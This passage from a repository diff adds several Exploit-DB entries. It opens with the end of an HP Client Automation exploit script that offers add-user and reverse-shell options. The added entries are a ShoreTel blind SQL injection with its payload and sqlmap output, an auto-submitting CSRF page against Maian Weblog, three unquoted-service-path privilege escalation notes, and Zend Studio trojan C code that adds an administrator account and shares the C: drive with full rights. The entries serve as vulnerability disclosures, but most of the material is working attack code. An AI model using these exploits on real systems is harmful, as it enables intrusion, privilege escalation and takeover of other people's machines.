print("\n[+]Exploit completed successfully. Try RDP to the target with username/password: hack3r/hack3r")
|
||||
else:
|
||||
print("\n[-]Exploit Failed..")
|
||||
|
||||
#main() function here
|
||||
def main():
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print "\n[-]Usage: \nWindows Target:\n\tpython HP_Client_Automation_Exploit.py <target_ip> Windows\n\nLinux Target:\n\tpython HP_Client_Automation_Exploit.py <target_ip> Linux [1|2]\n\t\t1.Add user\n\t\t2.Reverse Shell"
|
||||
sys.exit()
|
||||
|
||||
target_IP = sys.argv[1]
|
||||
target_OS = sys.argv[2].lower()
|
||||
|
||||
if target_OS == "windows":
|
||||
exploit_Windows(target_IP)
|
||||
elif target_OS == "linux":
|
||||
exploit_param = sys.argv[3]
|
||||
exploit_Linux(target_IP,exploit_param)
|
||||
else:
|
||||
print("\n[-]Invalid taret Operating System selected.")
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
87
platforms/php/webapps/40481.txt
Executable file
87
platforms/php/webapps/40481.txt
Executable file
|
|
@ -0,0 +1,87 @@
|
|||
# Exploit Title: ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
|
||||
# Date: 19-09-2016
|
||||
# Software Link:
|
||||
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
|
||||
# Exploit Author: Iraklis Mathiopoulos
|
||||
# Contact: https://twitter.com/_imath_
|
||||
# Website: https://medium.com/@iraklis
|
||||
# Category: webapps
|
||||
|
||||
1. Description
|
||||
|
||||
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
|
||||
are vulnerable to a Blind SQL Injection in /authenticate.php, on the webserver
|
||||
that is running the Conference system.
|
||||
|
||||
Specifically, the POST parameter "username" is not sanitised prior to being used
|
||||
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
|
||||
for the username value the server will respond after approximately 35 seconds.
|
||||
|
||||
No authentication is needed in order to exploit the vulnerability as the issue
|
||||
resides in the pre-authentication realm of the system.
|
||||
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
req.burp:
|
||||
---
|
||||
POST https://[REDACTED].com/authenticate.php HTTP/1.1
|
||||
Host: [REDACTED].com
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
|
||||
Gecko/20100101 Firefox/47.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Referer: https://[REDACTED].com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
|
||||
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 197
|
||||
|
||||
password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
|
||||
- ---
|
||||
|
||||
root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql
|
||||
--technique=T --time-sec=10 --level=5 --risk=3 --current-db
|
||||
_
|
||||
___ ___| |_____ ___ ___ {1.0-dev-nongit-201607120a89}
|
||||
|_ -| . | | | .'| . |
|
||||
|___|_ |_|_|_|_|__,| _|
|
||||
|_| |_| http://sqlmap.org
|
||||
|
||||
|
||||
[*] starting at 19:59:34
|
||||
|
||||
[19:59:34] [INFO] parsing HTTP request from 'req.burp'
|
||||
[19:59:34] [INFO] testing connection to the target URL
|
||||
[19:59:42] [INFO] checking if the target is protected by some kind of
|
||||
WAF/IPS/IDS
|
||||
sqlmap resumed the following injection point(s) from stored session:
|
||||
- ---
|
||||
Parameter: username (POST)
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
|
||||
Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
|
||||
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
|
||||
'jIev&vpassword=&SUBMIT1=Sign In
|
||||
- ---
|
||||
[19:59:54] [INFO] testing MySQL
|
||||
[20:02:25] [INFO] confirming MySQL
|
||||
[20:03:12] [INFO] the back-end DBMS is MySQL
|
||||
web application technology: Apache
|
||||
back-end DBMS: MySQL >= 5.0.0
|
||||
[20:03:12] [INFO] fetching current database
|
||||
[20:03:12] [INFO] retrieved: [REDACTED]
|
||||
current database: '[REDACTED]'
|
||||
[20:21:10] [INFO] fetched data logged to text files under
|
||||
'/root/.sqlmap/output/[REDACTED].com'
|
||||
|
||||
[*] shutting down at 20:21:10
|
||||
|
||||
3. Solution:
|
||||
|
||||
Install the latest version of ShoreTel Connect ONSITE
|
||||
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
|
||||
|
||||
Related ShoreTel security bulletin:
|
||||
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
|
||||
35
platforms/php/webapps/40492.html
Executable file
35
platforms/php/webapps/40492.html
Executable file
|
|
@ -0,0 +1,35 @@
|
|||
# Exploit Title : Maian Weblog 4.0 - Cross-Site Request
|
||||
Forgery ( Add New Post)
|
||||
# Author : Besim
|
||||
# Google Dork : -
|
||||
# Date : 10/10/2016
|
||||
# Type : webapps
|
||||
# Platform : PHP
|
||||
# Vendor Homepage : http://www.maianweblog.com
|
||||
# Software link :
|
||||
http://www.hotscripts.com/listings/jump/download/21864
|
||||
|
||||
|
||||
|
||||
|
||||
*########################### CSRF PoC ###############################*
|
||||
|
||||
|
||||
<html>
|
||||
<!-- CSRF PoC -->
|
||||
<body>
|
||||
<form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
|
||||
method="POST">
|
||||
<input type="hidden" name="process" value="1" />
|
||||
<input type="hidden" name="title" value="Murat" />
|
||||
<input type="hidden" name="comments"
|
||||
value="Muratttttt <br />" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
*####################################################################*
|
||||
29
platforms/windows/local/40483.txt
Executable file
29
platforms/windows/local/40483.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
Leap service: https://www.leapmotion.com/
|
||||
By Ross Marks: http://www.rossmarks.co.uk
|
||||
Exploit-db: https://www.exploit-db.com/author/?a=8724
|
||||
Category: Local
|
||||
Tested on: Windows 10 x86/x64
|
||||
|
||||
1) Unquoted Service Path Privilege Escalation
|
||||
|
||||
Leap motion's "LeapService" installs as a service with an unquoted service path running with SYSTEM privileges.
|
||||
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
|
||||
|
||||
A successful attempt would require the local attacker must insert an executable file in the path of the service.
|
||||
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
|
||||
|
||||
PoC:
|
||||
|
||||
C:\>sc qc LeapService
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: leapService
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\Leap Motion\Core Services\LeapSvc64.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : Leap Service
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
29
platforms/windows/local/40484.txt
Executable file
29
platforms/windows/local/40484.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
Wacom Consumer Service: http://www.wacom.com
|
||||
By Ross Marks: http://www.rossmarks.co.uk
|
||||
Exploit-db: https://www.exploit-db.com/author/?a=8724
|
||||
Category: Local
|
||||
Tested on: Windows 10 x86/x64
|
||||
|
||||
1) Unquoted Service Path Privilege Escalation
|
||||
|
||||
Wacom's "Wacom Consumer Service" installs as a service with an unquoted service path running with SYSTEM privileges.
|
||||
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
|
||||
|
||||
A successful attempt would require the local attacker must insert an executable file in the path of the service.
|
||||
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
|
||||
|
||||
PoC:
|
||||
|
||||
C:\>sc qc WTabletServiceCon
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: WTabletServiceCon
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files\Tablet\Pen\WtabletServiceCon.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : Wacom Consumer Service
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
29
platforms/windows/local/40485.txt
Executable file
29
platforms/windows/local/40485.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
Foxit Cloud Update Service: https://www.foxitsoftware.com
|
||||
By Ross Marks: http://www.rossmarks.co.uk
|
||||
Exploit-db: https://www.exploit-db.com/author/?a=8724
|
||||
Category: Local
|
||||
Tested on: Windows 10 x86/x64
|
||||
|
||||
1) Unquoted Service Path Privilege Escalation
|
||||
|
||||
Foxit reader's "cloud safe update service" installs as a service with an unquoted service path running with SYSTEM privileges.
|
||||
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
|
||||
|
||||
A successful attempt would require the local attacker must insert an executable file in the path of the service.
|
||||
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
|
||||
|
||||
PoC:
|
||||
|
||||
C:\>sc qc FoxitCloudUpdateService
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: FoxitCloudUpdateService
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\FOXIT SOFTWARE\FOXIT READER\Foxit Cloud\FCUpdateService.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : Foxit Cloud Safe Update Service
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
134
platforms/windows/local/40490.txt
Executable file
134
platforms/windows/local/40490.txt
Executable file
|
|
@ -0,0 +1,134 @@
|
|||
[+] Credits: John Page aka hyp3rlinx
|
||||
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt
|
||||
|
||||
[+] ISR: ApparitionSec
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
============
|
||||
www.zend.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
======================
|
||||
ZendStudio IDE v13.5.1
|
||||
|
||||
Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile
|
||||
app with source code.
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=====================
|
||||
Privilege Escalation
|
||||
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
Vulnerability Details:
|
||||
=====================
|
||||
|
||||
ZendStudio IDE uses weak insecure permissions settings on its files/directory as the “Everyone” group has full access on it.
|
||||
Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges
|
||||
on the affected system.
|
||||
|
||||
"Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest
|
||||
and LOCAL_SERVICE.
|
||||
|
||||
Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or
|
||||
replace the ZendStudio executable and have it run in the context of the system.
|
||||
|
||||
|
||||
e.g.
|
||||
|
||||
c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe
|
||||
|
||||
ZendStudio.exe Everyone:(I)(F)
|
||||
NT AUTHORITY\SYSTEM:(I)(F)
|
||||
BUILTIN\Administrators:(I)(F)
|
||||
BUILTIN\Users:(I)(RX)
|
||||
|
||||
|
||||
x86_64 version ...
|
||||
|
||||
|
||||
c:\Program Files\Zend>icacls * | more
|
||||
Zend Studio 13.5.1 Everyone:(F)
|
||||
Everyone:(OI)(CI)(IO)(F)
|
||||
NT SERVICE\TrustedInstaller:(I)(F)
|
||||
NT SERVICE\TrustedInstaller:(I)(CI)(I
|
||||
NT AUTHORITY\SYSTEM:(I)(F)
|
||||
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F
|
||||
BUILTIN\Administrators:(I)(F)
|
||||
BUILTIN\Administrators:(I)(OI)(CI)(IO
|
||||
BUILTIN\Users:(I)(RX)
|
||||
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
|
||||
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
|
||||
|
||||
|
||||
|
||||
Exploit code(s):
|
||||
===============
|
||||
|
||||
1) Compile below 'C' code name it as "ZendStudio.exe"
|
||||
|
||||
|
||||
#include<windows.h>
|
||||
|
||||
int main(void){
|
||||
system("net user hacker abc123 /add");
|
||||
system("net localgroup Administrators hacker /add");
|
||||
system("net share SHARE_NAME=c:\ /grant:hacker,full");
|
||||
WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1\\~ZendStudio.exe",0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"
|
||||
|
||||
|
||||
3) Place our malicious "ZendStudio.exe" in the ZendStudio directory
|
||||
|
||||
|
||||
4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later,
|
||||
go back and login with your shiny new account.
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
========================================
|
||||
Vendor Notification: September 30, 2016
|
||||
October 8, 2016 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Local
|
||||
|
||||
|
||||
|
||||
Severity Level:
|
||||
===============
|
||||
High
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere.
|
||||
|
||||
hyp3rlinx
|
||||
Loading…
Add table
Reference in a new issue